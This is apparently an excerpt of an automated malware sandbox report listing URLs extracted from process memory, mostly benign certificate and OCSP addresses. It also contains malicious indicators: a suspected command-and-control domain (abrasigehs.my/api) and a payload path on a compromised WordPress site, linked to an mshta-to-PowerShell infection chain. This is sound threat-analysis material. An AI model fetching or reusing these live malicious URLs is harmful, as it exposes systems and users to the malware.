Source: explorer.exe, 00000016.00000003.2997744307.000000000580D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: explorer.exe, 00000016.00000003.2997744307.000000000580D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: explorer.exe, 00000016.00000003.2997744307.000000000580D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: explorer.exe, 00000016.00000003.2997744307.000000000580D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe.13.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe.13.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: 77EC63BDA74BD0D0E0426DC8F80085060.10.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.6.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000007.00000002.2346967021.00000192CCC34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe.13.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: explorer.exe, 00000016.00000003.2997744307.000000000580D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0L
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: explorer.exe, 00000016.00000003.2997744307.000000000580D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe.13.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000007.00000002.2246634128.00000192BCDEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: pyexec.exe, 00000013.00000002.2722259450.000000006BC3A000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: http://python.org/dev/peps/pep-0263/
Source: JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe.13.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe.13.dr	String found in binary or memory: http://s.symcd.com06
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: powershell.exe, 00000007.00000002.2246634128.00000192BCBC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe.13.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe.13.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe.13.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: powershell.exe, 00000007.00000002.2246634128.00000192BCDEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: pyexec.exe, 0000000E.00000002.2488795527.000000000882B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.000000000882C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.0000000005002000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.000000000454D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: explorer.exe, 00000016.00000003.2997744307.000000000580D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 2D85F72862B55C4EADD9E66E06947F3D0.10.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: explorer.exe, 00000016.00000003.2997744307.000000000580D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: explorer.exe, 00000016.00000003.3053498235.000000000577B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2950039193.0000000002A9F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3029923428.000000000577B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2975104398.000000000577B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2975773961.000000000577B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2997538686.000000000577B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3052686629.0000000002B09000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2949962033.0000000002B04000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2997660323.000000000577B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://abrasigehs.my/
Source: explorer.exe, 00000016.00000003.2950039193.0000000002A9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abrasigehs.my/9J
Source: explorer.exe, 00000016.00000003.3052686629.0000000002B09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abrasigehs.my/J
Source: explorer.exe, 00000016.00000003.3024357079.0000000005785000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://abrasigehs.my/api
Source: explorer.exe, 00000016.00000003.3107104829.000000000578A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3110531498.000000000578A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://abrasigehs.my/apiC
Source: explorer.exe, 00000016.00000003.2996975001.000000000577E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2997140802.0000000005789000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2997355107.000000000578B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2997877231.000000000578B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://abrasigehs.my/apiEAyUo
Source: explorer.exe, 00000016.00000003.3024596467.000000000578A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3052546046.000000000578A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3024357079.0000000005785000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://abrasigehs.my/apiPk
Source: explorer.exe, 00000016.00000003.3108257959.0000000002B1F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109091243.0000000002B1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abrasigehs.my/apier
Source: explorer.exe, 00000016.00000003.3108257959.0000000002B1F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109091243.0000000002B1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abrasigehs.my/apixF
Source: explorer.exe, 00000016.00000003.2974536491.0000000005778000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://abrasigehs.my/c
Source: explorer.exe, 00000016.00000003.2996975001.000000000577E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2997140802.0000000005789000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2997355107.000000000578B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2997877231.000000000578B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://abrasigehs.my/cg/m5V
Source: explorer.exe, 00000016.00000003.3107104829.000000000578A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3110531498.000000000578A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://abrasigehs.my/d
Source: explorer.exe, 00000016.00000002.3109091243.0000000002B09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abrasigehs.my/k
Source: explorer.exe, 00000016.00000003.3024596467.000000000578A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3024357079.0000000005785000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://abrasigehs.my/pi
Source: explorer.exe, 00000016.00000003.3107104829.000000000578A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3110531498.000000000578A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://abrasigehs.my/qqBYYD
Source: explorer.exe, 00000016.00000003.2996975001.000000000577E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3107275782.0000000002A84000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3024867523.0000000005701000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3108779864.0000000002A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abrasigehs.my:443/api
Source: explorer.exe, 00000016.00000003.2951201222.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951388431.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951073384.000000000573B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.a
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2246634128.00000192BCDEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/
Source: mshta.exe, 00000005.00000002.2451618316.000001AF02304000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2439778155.000001AF02304000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/X
Source: mshta.exe, 00000005.00000002.2451618316.000001AF02304000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2439778155.000001AF02304000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/d
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/w
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-c
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-co
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-con
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-cont
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-conte
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-conten
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/p
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/pl
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plu
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plug
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugi
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugin
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/j
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/je
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jet
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetp
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpa
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpac
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/m
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/mo
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/mod
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modu
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modul
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/module
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/l
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/li
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/lik
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/like
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/likes
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/J
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JI
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIK
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJ
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJC
